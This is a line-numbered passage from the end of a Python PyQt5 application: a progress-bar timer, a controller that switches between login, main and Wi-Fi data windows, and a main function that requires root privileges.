self.timer.stop() 729 | self.btnStart.setText('Start') 730 | else: 731 | self.timer.start(100,self) 732 | self.btnStart.setText('Stop') 733 | 734 | def timerEvent(self,event): 735 | if self.step >=100: 736 | self.timer.stop() 737 | 738 | if not results: 739 | self.infoDialog() 740 | else: 741 | self.btnStart.setText('continue') 742 | self.btnStart.clicked.connect(self.login) 743 | return 744 | self.step = self.step + 1 745 | self.progressBar.setValue(self.step) 746 | 747 | def login(self): 748 | self.switch_window.emit() 749 | 750 | 751 | 752 | 753 | 754 | class Controller: 755 | 756 | def __init__(self): 757 | pass 758 | 759 | def show_login(self): 760 | self.login = Login() 761 | self.login.switch_window.connect(self.show_main) 762 | self.login.show() 763 | 764 | def show_main(self): 765 | self.window = MainWindow() 766 | self.window.switch_window.connect(self.show_window_two) 767 | self.login.close() 768 | self.window.show() 769 | 770 | def show_window_two(self, wifi_data): 771 | self.window_two = WindowTwo(wifi_data) 772 | self.window_two.switch_window.connect(self.show_main) 773 | self.window.close() 774 | self.window_two.show() 775 | 776 | 777 | 778 | def main(): 779 | if os.geteuid()==0: 780 | app = QtWidgets.QApplication(sys.argv) 781 | controller = Controller() 782 | controller.show_login() 783 | sys.exit(app.exec_()) 784 | 785 | 786 | else: 787 | pull.print("-",pull.RED +"You must run this tool as root user",pull.END) 788 | 789 | 790 | if __name__ == '__main__': 791 | pull = PULL() 792 | main() 793 | 794 | --------------------------------------------------------------------------------